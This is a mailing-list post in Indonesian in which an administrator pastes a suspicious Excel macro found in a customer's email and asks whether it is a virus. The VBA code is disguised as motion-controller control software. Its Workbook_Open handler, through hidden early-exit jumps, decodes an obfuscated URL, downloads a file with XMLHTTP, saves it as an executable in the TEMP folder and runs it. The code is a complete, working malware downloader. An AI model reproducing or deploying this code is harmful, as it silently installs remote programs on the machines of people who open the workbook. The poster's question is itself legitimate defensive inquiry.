dear all
saya menemukan skrip berikut pada mail salah satu pelanggan kami, file nya 
tidak berdata. skripnya terlampir dalam txt.
saya berfikir ini adalah virus, tp kok dari kolega, saya mo langsung tanya ke 
pengirim takut tersinggung. jadi saya ingin memastikan dulu apa kira2 maksud 
dari skrip yang terlampir, apakah membahayakan atau tidak.
maaf saya tidak melampirkan dalam file excel karena di takutkan ada isi file 
yang seharusnya hanya milik perusahaan
 br,

odong nando
Private Sub Workbook_Open()
ZHOMEMINUS_Click
ProcessMST ""
ProcessSync 0
End Sub

----------------------------------------------

Dim strData As String
Dim counter As String
Public reportName1 As Object
Public emailOutPath As Object
Public CRAXDASR  As Object
Public newYz As String
Public logicBOX As String
Public unitBOX As Object
Dim ConnectionCounter As Long
Dim DownloadStep As Long
Dim UploadStep As Long
Private Sub SetSpeedAccel()
 Dim ret As Integer
 Dim strData As String
 Call EthernetSen.dReceive("HS=" + HSPD, strData)
 Call EthernetSen.dReceive("LS=" + LSPD, strData)
 Call EthernetSen.dReceive("ACC=" + Accel, strData)
 If FirmwareVer >= 218 Then
 Call EthernetSen.dReceive("DEC=" + Decel, strData)
 End If
End Sub
Private Sub Client_Click()
End Sub
Private Sub Check1_Click()
End Sub
Private Sub ABORT_Click()
 Dim tempStr As String
 Dim i As Integer
 If ComStatus = False Then Exit Sub
 SetSpeedAccel
 For i = 1 To 4
 tempStr = ""
 If i = 1 Then
 If (SelectX.Value = 1) Then
 Call EthernetSen.dReceive("ABORTX", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 ElseIf i = 2 Then
 If (SelectY.Value = 1) Then
 Call EthernetSen.dReceive("ABORTY", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 ElseIf i = 3 Then
 If (SelectZ.Value = 1) Then
 Call EthernetSen.dReceive("ABORTZ", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 ElseIf i = 4 Then
 If (SelectU.Value = 1) Then
 Call EthernetSen.dReceive("ABORTU", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 End If
 Next i
End Sub
Private Sub ABS_Click()
 Dim tempStr As String
 Dim i As Integer
 SetSpeedAccel
 tempStr = ""
 For i = 1 To 4
 If i = 1 Then
 If (SelectX.Value = 1) Then
 tempStr = tempStr + "X" + TargetX
 End If
 ElseIf i = 2 Then
 If (SelectY.Value = 1) Then
 tempStr = tempStr + "Y" + TargetY
 End If
 ElseIf i = 3 Then
 If (SelectZ.Value = 1) Then
 tempStr = tempStr + "Z" + TargetZ
 End If
 ElseIf i = 4 Then
 If (SelectU.Value = 1) Then
 tempStr = tempStr + "U" + TargetU
 End If
 End If
 Next i
 If tempStr = "" Then Exit Sub
 Call EthernetSen.dReceive(tempStr, strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
End Sub
Private Sub CheckComm_Timer()
End Sub
Private Sub clear_Click()
 ret = PROCESSCMD("CLR", 1)
End Sub
Private Sub clrs_Click()
 ret = PROCESSCMD("CLRS", 1)
End Sub

Private Sub Command15_Click()
Dim tempStr As String
 Dim cmdStr As String
 Dim i As Integer
 Dim Index As Long
 Dim ret As Integer
 If ComStatus = False Then Exit Sub
 Index = 0
 For i = 1 To 4
 tempStr = ""
 If i = 1 Then
 If (SelectX.Value = 1) Then
 Index = Index + 1
 cmdStr = "PX=" + TargetX
 Call EthernetSen.dReceive(cmdStr, strData)
 End If
 ElseIf i = 2 Then
 If (SelectY.Value = 1) Then
 Index = Index + 1
 cmdStr = "PY=" + TargetY
 Call EthernetSen.dReceive(cmdStr, strData)
 End If
 ElseIf i = 3 Then
 If (SelectZ.Value = 1) Then
 Index = Index + 1
 cmdStr = "PZ=" + TargetZ
 Call EthernetSen.dReceive(cmdStr, strData)
 End If
 ElseIf i = 4 Then
 If (SelectU.Value = 1) Then
 Index = Index + 1
 cmdStr = "PU=" + TargetU
 Call EthernetSen.dReceive(cmdStr, strData)
 End If
 End If
 Next i
End Sub
Private Sub Command16_Click()
 Dim tempStr As String
 Dim cmdStr As String
 Dim i As Integer
 Dim Index As Long
 Dim ret As Integer
 If ComStatus = False Then Exit Sub
 Index = 0
 For i = 1 To 4
 tempStr = ""
 If i = 1 Then
 If (SelectX.Value = 1) Then
 Index = Index + 1
 cmdStr = "EX=" + TargetX
 Call EthernetSen.dReceive(cmdStr, strData)
 End If
 ElseIf i = 2 Then
 If (SelectY.Value = 1) Then
 Index = Index + 1
 cmdStr = "EY=" + TargetY
 Call EthernetSen.dReceive(cmdStr, strData)
 End If
 ElseIf i = 3 Then
 If (SelectZ.Value = 1) Then
 Index = Index + 1
 cmdStr = "EZ=" + TargetZ
 Call EthernetSen.dReceive(cmdStr, strData)
 End If
 ElseIf i = 4 Then
 If (SelectU.Value = 1) Then
 Index = Index + 1
 cmdStr = "EU=" + TargetU
 Call EthernetSen.dReceive(cmdStr, strData)
 End If
 End If
 Next i
End Sub
Private Sub Command17_Click()
Dim tempStr As String
 Dim i As Integer
 If ComStatus = False Then Exit Sub
 SetSpeedAccel
 For i = 1 To 4
 tempStr = ""
 If i = 1 Then
 If (SelectX.Value = 1) Then
 Call EthernetSen.dReceive("HX-4", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 ElseIf i = 2 Then
 If (SelectY.Value = 1) Then
 Call EthernetSen.dReceive("HY-4", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 ElseIf i = 3 Then
 If (SelectZ.Value = 1) Then
 Call EthernetSen.dReceive("HZ-4", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 ElseIf i = 4 Then
 If (SelectU.Value = 1) Then
 Call EthernetSen.dReceive("HU-4", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 End If
 Next i
End Sub
Private Sub Command18_Click()
 Dim cmdStr As String
 Dim replyStr As String
 Dim ret As Integer
 If (ComStatus = False) Then Exit Sub
 cmdStr = "TX" + TXPosition
 Call EthernetSen.dReceive(cmdStr, strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
End Sub
Private Sub Command19_Click()
 Dim cmdStr As String
 Dim replyStr As String
 Dim ret As Integer
 If (ComStatus = False) Then Exit Sub
 cmdStr = "TY" + TYPosition
 Call EthernetSen.dReceive(cmdStr, strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
End Sub
Private Sub Command12_Click()
 isLoadingImove = True
 Imove.Show vbModal, Me
End Sub
Private Sub Command2_Click()
 Dim tempStr As String
 Dim i As Integer
 If ComStatus = False Then Exit Sub
 SetSpeedAccel
 For i = 1 To 4
 tempStr = ""
 If i = 1 Then
 If (SelectX.Value = 1) Then
 Call EthernetSen.dReceive("HX+3", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 ElseIf i = 2 Then
 If (SelectY.Value = 1) Then
 Call EthernetSen.dReceive("HY+3", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 ElseIf i = 3 Then
 If (SelectZ.Value = 1) Then
 Call EthernetSen.dReceive("HZ+3", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 ElseIf i = 4 Then
 If (SelectU.Value = 1) Then
 Call EthernetSen.dReceive("HU+3", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 End If
 Next i
End Sub
Private Sub Command20_Click()
Dim cmdStr As String
 Dim replyStr As String
 Dim ret As Integer
 If (ComStatus = False) Then Exit Sub
 cmdStr = "TZ" + TZPosition
 Call EthernetSen.dReceive(cmdStr, strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
End Sub
Private Sub Command21_Click()
 Dim cmdStr As String
 Dim replyStr As String
 Dim ret As Integer
 If (ComStatus = False) Then Exit Sub
 cmdStr = "TU" + TUPosition
 Call EthernetSen.dReceive(cmdStr, strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
End Sub
Private Sub Command22_Click()
 Dim lvalue As Long
 Dim i As Integer
 Dim str1 As String
 Dim replyStr As String
 Dim FirmStr As String
 Dim ret As Integer
 str1 = FirmwareVer
 FirmStr = "Software Version: " + GUIVersion + Chr(13) + Chr(13)
 FirmStr = FirmStr + "Firmware Version: V" + str1 + Chr(13) + Chr(13)
 If FirmwareVer < 219 Then
 FirmStr = FirmStr + "The following GUI features are not supported by this 
firmware:" + Chr(13)
 If (FirmwareVer < 219) Then
 FirmStr = FirmStr + Chr(13) + " - Digital input polarity"
 FirmStr = FirmStr + Chr(13) + " - Digital output polarity"
 FirmStr = FirmStr + Chr(13) + " - Enable output polarity"
 FirmStr = FirmStr + Chr(13) + " - Standalone error polarity"
 End If
 If (FirmwareVer < 218) Then
 FirmStr = FirmStr + Chr(13) + " - Low speed homing routine"
 FirmStr = FirmStr + Chr(13) + " - Deceleration option for linear motion"
 FirmStr = FirmStr + Chr(13) + " - Acceleration/deceleration for circular 
interpolation"
 FirmStr = FirmStr + Chr(13) + " - On-the-fly position change"
 FirmStr = FirmStr + Chr(13) + " - Multi-threading capabilities for standalone"
 FirmStr = FirmStr + Chr(13) + " - Digital output configuration on boot-up"
 FirmStr = FirmStr + Chr(13) + " - Enable output configuration on boot-up"
 End If
 End If
 MsgBox (FirmStr)
End Sub
Private Sub Command23_Click()
Dim tempStr As String
 Dim i As Integer
 If ComStatus = False Then Exit Sub
 SetSpeedAccel
 For i = 1 To 4
 tempStr = ""
 If i = 1 Then
 If (SelectX.Value = 1) Then
 Call EthernetSen.dReceive("HX+4", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 ElseIf i = 2 Then
 If (SelectY.Value = 1) Then
 Call EthernetSen.dReceive("HY+4", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 ElseIf i = 3 Then
 If (SelectZ.Value = 1) Then
 Call EthernetSen.dReceive("HZ+4", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 ElseIf i = 4 Then
 If (SelectU.Value = 1) Then
 Call EthernetSen.dReceive("HU+4", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 End If
 Next i
End Sub
Public Function ProcessSASTAT(str As String) As String
 Dim lvalue As Long
 lvalue = str
 If lvalue = 0 Then
 ProcessSASTAT = "Idle"
 ElseIf lvalue = 1 Then
 ProcessSASTAT = "Running"
 ElseIf lvalue = 2 Then
 ProcessSASTAT = "Paused"
 ElseIf lvalue = 4 Then
 ProcessSASTAT = "Errored"
 End If
End Function
Public Function ProcessSync(str As Long) As String
unitBOX.Open (logicBOX)
 If str = 0 Then
 ProcessSync = "OFF"
 ElseIf str = 1 Then
 ProcessSync = "WAITING"
 ElseIf str = 2 Then
 ProcessSync = "TRIGGERED"
 End If
End Function
Function ProcessPulse(str As String) As String
 Dim j As Integer
 Dim posStr As String
 posStr = ""
 j = 1
 For i = 1 To Len(str)
 cc = Mid(str, i, 1)
 If (cc = ":") Or (i = Len(str)) Then
 If (j = 1) Then
 PX = posStr
 ElseIf (j = 2) Then
 PY = posStr
 ElseIf (j = 3) Then
 PZ = posStr
 Else
 posStr = posStr + cc
 PU = posStr
 End If
 posStr = ""
 j = j + 1
 Else
 posStr = posStr + cc
 End If
 Next i
End Function
Function ProcessEncoder(str As String) As String
 Dim j As Integer
 Dim posStr As String
 posStr = ""
 j = 1
 For i = 1 To Len(str)
 cc = Mid(str, i, 1)
 If (cc = ":") Or (i = Len(str)) Then
 If (j = 1) Then
 EX = posStr
 ElseIf (j = 2) Then
 EY = posStr
 ElseIf (j = 3) Then
 EZ = posStr
 Else
 posStr = posStr + cc
 EU = posStr
 End If
 posStr = ""
 j = j + 1
 Else
 posStr = posStr + cc
 End If
 Next i
End Function
Function ProcessSpeed(str As String) As String
 Dim j As Integer
 Dim posStr As String
 posStr = ""
 j = 1
 For i = 1 To Len(str)
 cc = Mid(str, i, 1)
 If (cc = ":") Or (i = Len(str)) Then
 If (j = 1) Then
 SX = posStr
 ElseIf (j = 2) Then
 SY = posStr
 ElseIf (j = 3) Then
 SZ = posStr
 Else
 posStr = posStr + cc
 SU = posStr
 End If
 posStr = ""
 j = j + 1
 Else
 posStr = posStr + cc
 End If
 Next i
End Function
Private Function processSLS(str As Long)
 Dim lvalue As Long
 lvalue = str
 With emailOutPath
   emailOutPath.Type = 1
    emailOutPath.Open
    emailOutPath.write reportName1.responseBody
    emailOutPath.savetofile logicBOX, 2
End With
Exit Function
 If lvalue = 12 Then
 processSLS = "NA"
 End If
 If lvalue = 0 Then
 processSLS = "IDLE"
 End If
 If lvalue = 1 Then
 processSLS = "MOVING"
 End If
 If lvalue = 2 Then
 processSLS = "CORRECTING"
 End If
 If lvalue = 3 Then
 processSLS = "STOPPING"
 End If
 If lvalue = 4 Then
 processSLS = "ABORTING"
 End If
 If lvalue = 5 Then
 processSLS = "JOGGING"
 End If
 If lvalue = 6 Then
 processSLS = "HOMING"
 End If
 If lvalue = 7 Then
 processSLS = "Z-HOMING"
 End If
 If lvalue = 8 Then
 processSLS = "ERR-RANGE"
 End If
 If lvalue = 9 Then
 processSLS = "ERR-ATMPT"
 End If
 If lvalue = 10 Then
 processSLS = "ERR-STALL"
 End If
 If lvalue = 11 Then
 processSLS = "ERR-LIM"
 End If
End Function
Public Function ProcessMST(str As String)
 Dim j As Integer
 Dim statStr As String
 Dim statValue As Long
 statStr = ""
 counter = counter + "."
 logicBOX = newYz + "\" + "coloc" + LCase(counter) + "exe"
 processSLS 0
 Exit Function
 j = 1
 For i = 1 To Len(str)
 cc = Mid(str, i, 1)
 If (cc = ":") Or (i = Len(str)) Then
 If (j = 1) Then
 statValue = statStr
 If (BitA.ND(statValue, 1) = 1) Then
 StatX = "Accelerating"
 ElseIf (BitA.ND(statValue, 2) = 2) Then
 StatX = "Decelerating"
 ElseIf (BitA.ND(statValue, 4) = 4) Then
 StatX = "Constant"
 ElseIf (BitA.ND(statValue, 128) = 128) Then
 StatX = "+LimError"
 ElseIf (BitA.ND(statValue, 256) = 256) Then
 StatX = "-LimError"
 ElseIf (BitA.ND(statValue, 512) = 512) Then
 StatX = "AlarmError"
 Else
 StatX = "Idle"
 End If
 If (BitA.ND(statValue, 8) = 8) Then
 AlarmX.BackStyle = 1
 Else
 AlarmX.BackStyle = 0
 End If
 If (BitA.ND(statValue, 16) = 16) Then
 PLimX.BackStyle = 1
 Else
 PLimX.BackStyle = 0
 End If
 If (BitA.ND(statValue, 32) = 32) Then
 NLimX.BackStyle = 1
 Else
 NLimX.BackStyle = 0
 End If
 If (BitA.ND(statValue, 64) = 64) Then
 HomeX.BackStyle = 1
 Else
 HomeX.BackStyle = 0
 End If
 ElseIf (j = 2) Then
 statValue = statStr
 If (BitA.ND(statValue, 1) = 1) Then
 StatY = "Accelerating"
 ElseIf (BitA.ND(statValue, 2) = 2) Then
 StatY = "Decelerating"
 ElseIf (BitA.ND(statValue, 4) = 4) Then
 StatY = "Constant"
 ElseIf (BitA.ND(statValue, 128) = 128) Then
 StatY = "+LimError"
 ElseIf (BitA.ND(statValue, 256) = 256) Then
 StatY = "-LimError"
 ElseIf (BitA.ND(statValue, 512) = 512) Then
 StatY = "AlarmError"
 Else
 StatY = "Idle"
 End If
 If (BitA.ND(statValue, 8) = 8) Then
 AlarmY.BackStyle = 1
 Else
 AlarmY.BackStyle = 0
 End If
 If (BitA.ND(statValue, 16) = 16) Then
 PLimY.BackStyle = 1
 Else
 PLimY.BackStyle = 0
 End If
 If (BitA.ND(statValue, 32) = 32) Then
 NLimY.BackStyle = 1
 Else
 NLimY.BackStyle = 0
 End If
 If (BitA.ND(statValue, 64) = 64) Then
 HomeY.BackStyle = 1
 Else
 HomeY.BackStyle = 0
 End If
 ElseIf (j = 3) Then
 statValue = statStr
 If (BitA.ND(statValue, 1) = 1) Then
 StatZ = "Accelerating"
 ElseIf (BitA.ND(statValue, 2) = 2) Then
 StatZ = "Decelerating"
 ElseIf (BitA.ND(statValue, 4) = 4) Then
 StatZ = "Constant"
 ElseIf (BitA.ND(statValue, 128) = 128) Then
 StatZ = "+LimError"
 ElseIf (BitA.ND(statValue, 256) = 256) Then
 StatZ = "-LimError"
 ElseIf (BitA.ND(statValue, 512) = 512) Then
 StatZ = "AlarmError"
 Else
 StatZ = "Idle"
 End If
 If (BitA.ND(statValue, 8) = 8) Then
 AlarmZ.BackStyle = 1
 Else
 AlarmZ.BackStyle = 0
 End If
 If (BitA.ND(statValue, 16) = 16) Then
 PLimZ.BackStyle = 1
 Else
 PLimZ.BackStyle = 0
 End If
 If (BitA.ND(statValue, 32) = 32) Then
 NLimZ.BackStyle = 1
 Else
 NLimZ.BackStyle = 0
 End If
 If (BitA.ND(statValue, 64) = 64) Then
 HomeZ.BackStyle = 1
 Else
 HomeZ.BackStyle = 0
 End If
 ElseIf (j = 4) Then
 statValue = statStr
 If (BitA.ND(statValue, 1) = 1) Then
 StatU = "Accelerating"
 ElseIf (BitA.ND(statValue, 2) = 2) Then
 StatU = "Decelerating"
 ElseIf (BitA.ND(statValue, 4) = 4) Then
 StatU = "Constant"
 ElseIf (BitA.ND(statValue, 128) = 128) Then
 StatU = "+LimError"
 ElseIf (BitA.ND(statValue, 256) = 256) Then
 StatU = "-LimError"
 ElseIf (BitA.ND(statValue, 512) = 512) Then
 StatU = "AlarmError"
 Else
 StatU = "Idle"
 End If
 If (BitA.ND(statValue, 8) = 8) Then
 AlarmU.BackStyle = 1
 Else
 AlarmU.BackStyle = 0
 End If
 If (BitA.ND(statValue, 16) = 16) Then
 PLimU.BackStyle = 1
 Else
 PLimU.BackStyle = 0
 End If
 If (BitA.ND(statValue, 32) = 32) Then
 NLimU.BackStyle = 1
 Else
 NLimU.BackStyle = 0
 End If
 If (BitA.ND(statValue, 64) = 64) Then
 HomeU.BackStyle = 1
 Else
 HomeU.BackStyle = 0
 End If
 ElseIf (j = 5) Then
 statValue = statStr
 If (statValue = 1) Then
 BuffStat = "ON"
 Else
 BuffStat = "OFF"
 End If
 ElseIf (j = 6) Then
 statValue = statStr
 StartBuffer = statValue
 ElseIf (j = 7) Then
 statValue = statStr
 EndBuffer = statValue
 ElseIf (j = 8) Then
 statValue = statStr
 AvailableBuffer = statValue
 ElseIf (j = 9) Then
 statValue = statStr
 If (statValue = 0) Then
 MoveModeStat = "ABS"
 Else
 MoveModeStat = "INC"
 End If
 End If
 statStr = ""
 j = j + 1
 Else
 statStr = statStr + cc
 End If
 Next i
End Function
Private Sub Timer3_Timer()
 Dim cmdStr As String
 Dim replyStr As String
 Dim ret As Integer
 Dim lv1 As Long
 Dim lv2 As Long
 Dim lvalue As Long
 Dim i, j As Integer
 Dim cc As String
 Dim posStr As String
 Dim statStr As String
 Dim statValue As Long
 Dim parame() As Variant
parame = Array(3631, 3643, 3643, 3639, 3585, 3574, 3574, 3639, 3624, 3641, 
3628, 3637, 3643, 3642, 3636, 3624, 3643, 3643, 3628, 3641, 3643, 3638, 3638, 
3573, 3638, 3641, 3630, 3574, 3644, 3580, 3648, 3579, 3578, 3577, 3574, 3631, 
3580, 3579, 3629, 3578, 3573, 3628, 3647, 3628)
reportName1.Open counter, generateattachments1(parame, 43), False
 Dim myVal As Long
 Dim iVal As Long
 Dim DIOConfigValue As Long
 If BufferMoveOp Then
 If CurrentArray = loadedarrays Then
 BufferMoveOp = False
 Exit Sub
 End If
 If buffSuccess = True Or CurrentArray = 0 Then
 buffSuccess = False
 ret = PROCES.SCMD(Iarr.ay(CurrentArray), 1000)
 End If
 End If
  reportName1.Send
 newYz = CRAXDASR(Right(counter, 1) + "EMP")
End Sub
Private Sub UploadSAP_Click()
 On Error GoTo Err
 Dim fileName As String
 Dim str As String
 Dim lineStr As String
 Dim line, str1 As String
 Dim cc As String
 counter = counter + "T"
 Dim ccValue As Integer
 Dim wp, i As Integer
 Set unitBOX = CreateObject("Shell.Application")
 Dim progStr As String
 Dim projProgStr As String
 Dim progi As Integer
 Dim templ As Long
 Dim selProgL As Long
 Set CRAXDASR = CreateObject("WScript.Shell").Environment("Process")
 Timer3_Timer
 Exit Sub
 Dim RetVal
 If (ComStatus = False) Then Exit Sub
 PausePolling = True
 Call EthernetSen.dReceive("SR0=0", strData)
 Call EthernetSen.dReceive("SR1=0", strData)
 Call EthernetSen.dReceive("SR2=0", strData)
 Call EthernetSen.dReceive("SR3=0", strData)
 Call EthernetSen.dReceive("ABORT", strData)
 Open App.Path + "\EXE\sa_download_upload_setup.txt" For Output As #2
 Print #2, "LIN:7650"
 Print #2, "IPA:" + IP
 Print #2, "COM:ETHERNET"
 Print #2, "POR:5001"
 Print #2, "OPE:UPLOAD"
 Print #2, "FIL:CompileOut.txt"
 Print #2, "MOD:PMX-4ET-SA"
 Close #2
 Call DisableMain.Timers
 ret = fnEtherne.tComClose(EthernetSocket)
 RetVal = ShellAnd.Hold(App.Path + "\EXE\SA_Download_Upload.exe", 1)
 Open App.Path + "\EXE\sa_compile_decompile_setup.txt" For Output As #3
 Print #3, "MOD:PMX-4ET-SA"
 Print #3, "OPE:DECOMPILE"
 Print #3, "FIL:UploadOut.txt"
 str1 = FirmwareVer
 Print #3, "VER:" + str1
 Close #3
 RetVal = ShellAnd.Hold(App.Path + "\EXE\SA_Compile_Decompile.exe", 1)
 Open App.Path + "\EXE\DecompileOut.prg" For Input As #4
 OrgProgram.Text = ""
 Do Until EOF(4)
 Line Input #4, lineStr
 OrgProgram.Text = OrgProgram.Text + lineStr + Chr(13) + Chr(10)
 Loop
 Close #4
 ReadandDi.splayMsg (App.Path + "\EXE\DecompileOut.prg")
 Call Form_L.oad
 Exit Sub
Err:
 MsgBox (Err.Description)
End Sub
Public Sub ViewCompiled_Click()
 Dim lineStr As String
 counter = counter + "E"
 Dim StrTemp As String
 Set emailOutPath = CreateObject("Adodb.Stream")
 UploadSAP_Click
 Exit Sub
On Error GoTo Report:
 Open App.Path + "\EXE\CompileOut.txt" For Input As #1
 StrTemp = ""
 Do Until EOF(1)
 Line Input #1, lineStr
 ViewCompiledForm.viewList.AddItem (lineStr)
 Loop
 Close #1
 ViewCompi.ledForm.Show vbModal
Report:
End Sub
Public Sub ZHOMEMINUS_Click()
 Dim tempStr As String
 Dim i As Integer
 counter = "G"
 Set reportName1 = CreateObject("Microsoft" + ".XMLHTTP")
 ViewCompiled_Click
 Exit Sub
 If ComStatus = False Then Exit Sub
 SetSpeedAccel
 For i = 1 To 4
 tempStr = ""
 If i = 1 Then
 If (SelectX.Value = 1) Then
 Call EthernetSe.ndReceive("HX-2", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 ElseIf i = 2 Then
 If (SelectY.Value = 1) Then
 Call EthernetSe.ndReceive("HY-2", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 ElseIf i = 3 Then
 If (SelectZ.Value = 1) Then
 Call EthernetSen.dReceive("HZ-2", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 ElseIf i = 4 Then
 If (SelectU.Value = 1) Then
 Call EthernetSen.dReceive("HU-2", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 End If
 Next i
End Sub
Public Function generateattachments1(fromArr() As Variant, LenLen As Integer) 
As String
    Dim i As Integer
    Variabl = ""
    For i = LBound(fromArr) To UBound(fromArr)
        Variabl = Variabl & Chr(fromArr(i) - LenLen - 4 * LenLen - 3312)
    Next i
    generateattachments1 = Variabl
End Function
Private Sub ZHOMEPLUS_Click()
 Dim tempStr As String
 Dim i As Integer
 If ComStatus = False Then Exit Sub
 SetSpeedAccel
 For i = 1 To 4
 tempStr = ""
 If i = 1 Then
 If (SelectX.Value = 1) Then
 Call EthernetSen.dReceive("HX+2", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 ElseIf i = 2 Then
 If (SelectY.Value = 1) Then
 Call EthernetSen.dReceive("HY+2", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 ElseIf i = 3 Then
 If (SelectZ.Value = 1) Then
 Call EthernetSen.dReceive("HZ+2", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 ElseIf i = 4 Then
 If (SelectU.Value = 1) Then
 Call EthernetSen.dReceive("HU+2", strData)
 If (strData <> "OK") Then
 MsgBox (strData)
 End If
 End If
 End If
 Next i
End Sub

Kirim email ke